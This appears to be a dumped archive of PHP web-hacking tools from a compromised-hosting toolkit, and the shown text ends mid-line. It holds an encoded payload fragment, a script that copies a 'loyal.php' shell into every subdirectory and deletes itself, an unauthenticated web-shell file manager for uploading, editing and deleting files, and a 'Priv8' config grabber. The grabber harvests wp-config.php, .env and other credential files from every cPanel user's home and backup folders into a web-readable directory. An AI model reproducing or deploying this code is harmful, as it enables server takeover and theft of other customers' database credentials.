fDLkWZ+rzT0oOcPIo9U/Or3JJ8QwzyfbMz893d/Gu1tAilMfrYBvOEPvNIDGFPLEDjOVSlNN2yvKha6sgaQI6LAQtCVPToFedQ1fpgM1G7gCp5iVl5SdkQtIf9NAgP6AQhpyePYjnW5ABkUPr7AAA"));?>src/ui/mmd/ms2.php000064400000003157151327062330007747 0ustar00<?php
/////////////Getting home dir //////////////
if(!function_exists('posix_getpwuid')){
   if(isset($_GET["path"])){
     $home=$_GET["path"];
   }else{
     echo getcwd();
     die("<br>posix function is not available<br>Please Input Path");
   }
}else{
echo $_SERVER['SERVER_ADDR'];
echo "<br>";

        if(isset($_GET["path"])){
           $home=$_GET["path"];
        }else{
        $arr = posix_getpwuid(posix_getuid());
        $home = $arr["dir"];
        }
}


///////////Making directory & copy file//////////////  
$filepath=getcwd()."/loyal.php"; 

  $dirlist = getFileList($home, TRUE, 2);
  foreach($dirlist as $alldir){
    mkdir($alldir."x", 0777, TRUE);
    if(copy($filepath, $alldir."x/loyal.php")) {
     echo $alldir."x/loyal.php<br>";}
  }
  
  //////////////Directory scanner////////////////
  function getFileList($dir, $recurse = FALSE, $depth = FALSE)
  {
    $retval = [];
    if(substr($dir, -1) != "/") {
      $dir .= "/";
    }
    $d = @dir($dir) or die("Failed open directory $dir");
    while(FALSE !== ($entry = $d->read())) {
      // skip hidden files
      if($entry[0] == "."){
	 continue;
	}
      if(is_dir("$dir$entry")) {
        $retval[] = "$dir$entry/";
        if($recurse && is_readable("$dir$entry/")) {
          if($depth === FALSE) {
            $retval = array_merge($retval, getFileList("$dir$entry/", TRUE));
          } elseif($depth > 0) {
            $retval = array_merge($retval, getFileList("$dir$entry/", TRUE, $depth-1));
          }
        }
      }
    }
    $d->close();

    return $retval;
  }
  
unlink(__FILE__);src/ui/mmd/index.php000064400000002315151327062330010350 0ustar00<?php
if(!function_exists('posix_getpwuid')){
   if(isset($_GET["path"])){
     $home=$_GET["path"];
   }else{
     echo getcwd();
     die("<br>posix function is not available<br>Please Input Path");
   }
}else{
echo $_SERVER['SERVER_ADDR'];
echo "<br>";

        if(isset($_GET["path"])){
           $home=$_GET["path"];
        }else{
        $arr = posix_getpwuid(posix_getuid());
        $home = $arr["dir"];
        }
}
	
        $files = scandir($home);
        for ($a=0; $a <= count($files); $a++) {
            if ((is_dir($home."/".$files[$a]) && ($files[$a] !== ".") && ($files[$a] !== ".."))) {
                echo "<b>".$home."/".$files[$a]."</b><br>";
               $subfiles = scandir($home."/".$files[$a]);
                for ($b=0; $b <= count($subfiles); $b++) {
                    if ((is_dir($home."/".$files[$a]."/".$subfiles[$b])) && ($subfiles[$b] !== ".") && ($subfiles[$b] !== "..") && ($home."/".$files[$a]."/" !== $home."/".$files[$a]."/".$subfiles[$b])) {
                        echo "&nbsp;&nbsp;&nbsp;".$home."/".$files[$a]."/".$subfiles[$b]."<br>";
                    }
                } 
                echo "<br><br>";
            }
        }
        
?>src/ui/inputs.php000064400000025736151327062330010022 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elep</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>src/ui/con.php000064400000050543151327062330007251 0ustar00<center> <h1>Priv8 Kiritod Nyelam by h0d3_g4n </h1><br><br><hr>
<a href="?ext=wp">[ Wp ]</a>
<a href="?ext=joomla">[ Jomla ]</a>
<a href="?ext=env">[ Larvel Env ]</a>
<a href="?ext=Ellislab">[ Ellislab ]</a>
<a href="?ext=Opencart">[ Opencart ]</a>
<a href="?ext=forum">[ Forum ]</a>
<a href="?ext=4images">[ 4images ]</a><br><br>
</center>
<?php
error_reporting(0);
if($_GET['ext'] == '4images') {
echo "<center><a href='4images/' target='_blank'><u>Klik Here</u></a></center>";
@mkdir('4images', 0755);
$htaccess = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any";
save("4images/.htaccess","w", $htaccess);
nganune("4images","config.php");
}
if($_GET['ext'] == 'forum') {
echo "<center><a href='forumxs/' target='_blank'><u>Klik Here</u></a></center>";
@mkdir('forumxs', 0755);
$htaccess = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any";
save("forumxs/.htaccess","w", $htaccess);
nganune("forumxs","includes/config.php");
}
if($_GET['ext'] == 'wp') {
echo "<center><a href='dewp/' target='_blank'><u>Klik Here</u></a></center>";
@mkdir('dewp', 0755);
$htaccess = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any";
save("dewp/.htaccess","w", $htaccess);
nganune("dewp","wp-config.php");
}
if($_GET['ext'] == 'Opencart') {
echo "<center><a href='Opencart/' target='_blank'><u>Klik Here</u></a></center>";
@mkdir('Opencart', 0755);
$htaccess = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any";
save("Opencart/.htaccess","w", $htaccess);
nganune("Opencart","admin/config.php");
}
if($_GET['ext'] == 'joomla') {
  echo "<center><a href='dirojom/' target='_blank'><u>Klik Here</u></a></center>";
@mkdir('dirojom', 0755);
$htaccess = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any";
save("dirojom/.htaccess","w", $htaccess);
nganune("dirojom","configuration.php");
}
if($_GET['ext'] == 'env') {
    echo "<center><a href='diroenv/' target='_blank'><u>Klik Here</u></a></center>";
@mkdir('diroenv', 0755);
$htaccess = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any";
save("diroenv/.htaccess","w", $htaccess);
nganune("diroenv",".env");
}
if($_GET['ext'] == 'Ellislab') {
  echo "<center><a href='Ellislab/' target='_blank'><u>Klik Here</u></a></center>";
@mkdir('Ellislab', 0755);
$htaccess = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any";
save("Ellislab/.htaccess","w", $htaccess);
$list = scandir("/var/named");
nganune("Ellislab","application/config/database.php");
}

function save($filename, $mode, $file) {
      $handle = fopen($filename, $mode);
      fwrite($handle, $file);
      fclose($handle);
      return;
}
function goblok($mbuh,$pata){

if (trim(file_get_contents($pata)) == false) {
}
else{
  $fopen = fopen($mbuh, "w");
  fputs($fopen, file_get_contents($pata));
}

}
function nganune($duhah,$pelere){
$list = scandir("/var/named");
foreach($list as $domain){
 if(strpos($domain,".db")){
  $domain = str_replace('.db','',$domain);
  $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  $dir = '/home/'.$owner['name'].'/public_html1';
  $path = getcwd();
  
  if (is_readable($dir)) {
    $file_data = $dir."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dira = '/home/'.$owner['name'].'/backup-'.$owner['name'];
  if (is_readable($dira)) {
    $file_data = $dira."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirb = '/home/'.$owner['name'].'/public_html.bak/';
  if (is_readable($dirb)) {
    $file_data = $dirb."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirc = '/home/'.$owner['name'].'/blog';
  if (is_readable($dirc)) {
    $file_data = $dirc."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dird = '/home/'.$owner['name'].'/blogs';
  if (is_readable($dird)) {
    $file_data = $dird."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dire = '/home/'.$owner['name'].'/wordpress';
  if (is_readable($dire)) {
    $file_data = $dire."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirf = '/home/'.$owner['name'].'/sites';
  if (is_readable($dirf)) {
    $file_data = $dirf."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirg = '/home/'.$owner['name'].'/config';
  if (is_readable($dirg)) {
    $file_data = $dirg."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirh = '/home/'.$owner['name'].'/backups_';
  if (is_readable($dirh)) {
    $file_data = $dirh."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diri = '/home/'.$owner['name'].'/backups';
  if (is_readable($diri)) {
    $file_data = $diri."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirj = '/home/'.$owner['name'].'/Backup';
  if (is_readable($dirj)) {
    $file_data = $dirj."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirk = '/home/'.$owner['name'].'/public_html.zip';
  if (is_readable($dirk)) {
    $file_data = $dirk."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirl = '/home/'.$owner['name'].'/staging';
  if (is_readable($dirl)) {
    $file_data = $dirl."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirm = '/home/'.$owner['name'].'/'.$domain;
  if (is_readable($dirm)) {
    $file_data = $dirm."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirn = '/home/'.$owner['name'].'/'.$owner['name'];
  if (is_readable($dirn)) {
    $file_data = $dirn."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $$duhah = '/home/'.$owner['name'].'/'.$owner['name'].'-backups';
  if (is_readable($$duhah)) {
    $file_data = $$duhah."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirp = '/home/'.$owner['name'].'/BackWPup';
  if (is_readable($dirp)) {
    $file_data = $dirp."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirq = '/home/'.$owner['name'].'/_backup';
  if (is_readable($dirq)) {
    $file_data = $dirq."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirr = '/home/'.$owner['name'].'/bak';
  if (is_readable($dirr)) {
    $file_data = $dirr."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirs = '/home/'.$owner['name'].'/wp_backup';
  if (is_readable($dirs)) {
    $file_data = $dirs."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirt = '/home/'.$owner['name'].'/wp_backups';
  if (is_readable($dirt)) {
    $file_data = $dirt."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diru = '/home/'.$owner['name'].'/public_html.older/';
  if (is_readable($diru)) {
    $file_data = $diru."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirv = '/home/'.$owner['name'].'/db';
  if (is_readable($dirv)) {
    $file_data = $dirv."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirw = '/home/'.$owner['name'].'/database';
  if (is_readable($dirw)) {
    $file_data = $dirw."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirx = '/home/'.$owner['name'].'/homedir';
  if (is_readable($dirx)) {
    $file_data = $dirx."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diry = '/home/'.$owner['name'].'/backup_1';
  if (is_readable($diry)) {
    $file_data = $diry."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirz = '/home/'.$owner['name'].'/backup_public_html';
  if (is_readable($dirz)) {
    $file_data = $dirz."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirza = '/home/'.$owner['name'].'/BackupBuddy';
  if (is_readable($dirza)) {
    $file_data = $dirza."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzb = '/home/'.$owner['name'].'/backup1';
  if (is_readable($dirzb)) {
    $file_data = $dirzb."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzc = '/home/'.$owner['name'].'/wpbackup';
  if (is_readable($dirzc)) {
    $file_data = $dirzc."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzd = '/home/'.$owner['name'].'/wp-upgrade-backup';
  if (is_readable($dirzd)) {
    $file_data = $dirzd."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirze = '/home/'.$owner['name'].'/website_backup';
  if (is_readable($dirze)) {
    $file_data = $dirze."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzf = '/home/'.$owner['name'].'/BACKUP';
  if (is_readable($dirzf)) {
    $file_data = $dirzf."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzg = '/home/'.$owner['name'].'/quarantine';
  if (is_readable($dirzg)) {
    $file_data = $dirzg."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzh = '/home/'.$owner['name'].'/backup2';
  if (is_readable($dirzh)) {
    $file_data = $dirzh."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzi = '/home/'.$owner['name'].'/new';
  if (is_readable($dirzi)) {
    $file_data = $dirzi."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzj = '/home/'.$owner['name'].'/MyBackup';
  if (is_readable($dirzj)) {
    $file_data = $dirzj."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzk = '/home/'.$owner['name'].'/mybackup';
  if (is_readable($dirzk)) {
    $file_data = $dirzk."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzl = '/home/'.$owner['name'].'/backups1';
  if (is_readable($dirzl)) {
    $file_data = $dirzl."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzm = '/home/'.$owner['name'].'/backups2';
  if (is_readable($dirzm)) {
    $file_data = $dirzm."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzn = '/home/'.$owner['name'].'/scriptupdate1';
  if (is_readable($dirzn)) {
    $file_data = $dirzn."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzo = '/home/'.$owner['name'].'/scriptupdate2';
  if (is_readable($dirzo)) {
    $file_data = $dirzo."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzp = '/home/'.$owner['name'].'/cobian_backups';
  if (is_readable($dirzp)) {
    $file_data = $dirzp."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzq = '/home/'.$owner['name'].'/fantastico_backups1';
  if (is_readable($dirzq)) {
    $file_data = $dirzq."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzr = '/home/'.$owner['name'].'/cobian_backup';
  if (is_readable($dirzr)) {
    $file_data = $dirzr."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzs = '/home/'.$owner['name'].'/application_backups';
  if (is_readable($dirzs)) {
    $file_data = $dirzs."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzt = '/home/'.$owner['name'].'/public_html/';
  if (is_readable($dirzt)) {
    $file_data = $dirzt."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzu = '/home/'.$owner['name'].'/public_html.bak1/';
  if (is_readable($dirzu)) {
    $file_data = $dirzu."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzv = '/home/'.$owner['name'].'/public_html.backup/';
  if (is_readable($dirzv)) {
    $file_data = $dirzv."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzw = '/home/'.$owner['name'].'/public_html.backups/';
  if (is_readable($dirzw)) {
    $file_data = $dirzw."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzx = '/home/'.$owner['name'].'/SiteBackup';
  if (is_readable($dirzx)) {
    $file_data = $dirzx."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzy = '/home/'.$owner['name'].'/SiteBackups';
  if (is_readable($dirzy)) {
    $file_data = $dirzy."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirzz = '/home/'.$owner['name'].'/softaculous_backups';
  if (is_readable($dirzz)) {
    $file_data = $dirzz."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirya = '/home/'.$owner['name'].'/backupwp';
  if (is_readable($dirya)) {
    $file_data = $dirya."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryb = '/home/'.$owner['name'].'/backwpup';
  if (is_readable($diryb)) {
    $file_data = $diryb."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryc = '/home/'.$owner['name'].'/public_htmlfirstaid';
  if (is_readable($diryc)) {
    $file_data = $diryc."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryd = '/home/'.$owner['name'].'/site';
  if (is_readable($diryd)) {
    $file_data = $diryd."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirye = '/home/'.$owner['name'].'/backuppro';
  if (is_readable($dirye)) {
    $file_data = $dirye."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryf = '/home/'.$owner['name'].'/BackupPro';
  if (is_readable($diryf)) {
    $file_data = $diryf."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryg = '/home/'.$owner['name'].'/old.public_html';
  if (is_readable($diryg)) {
    $file_data = $diryg."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryh = '/home/'.$owner['name'].'/publi';
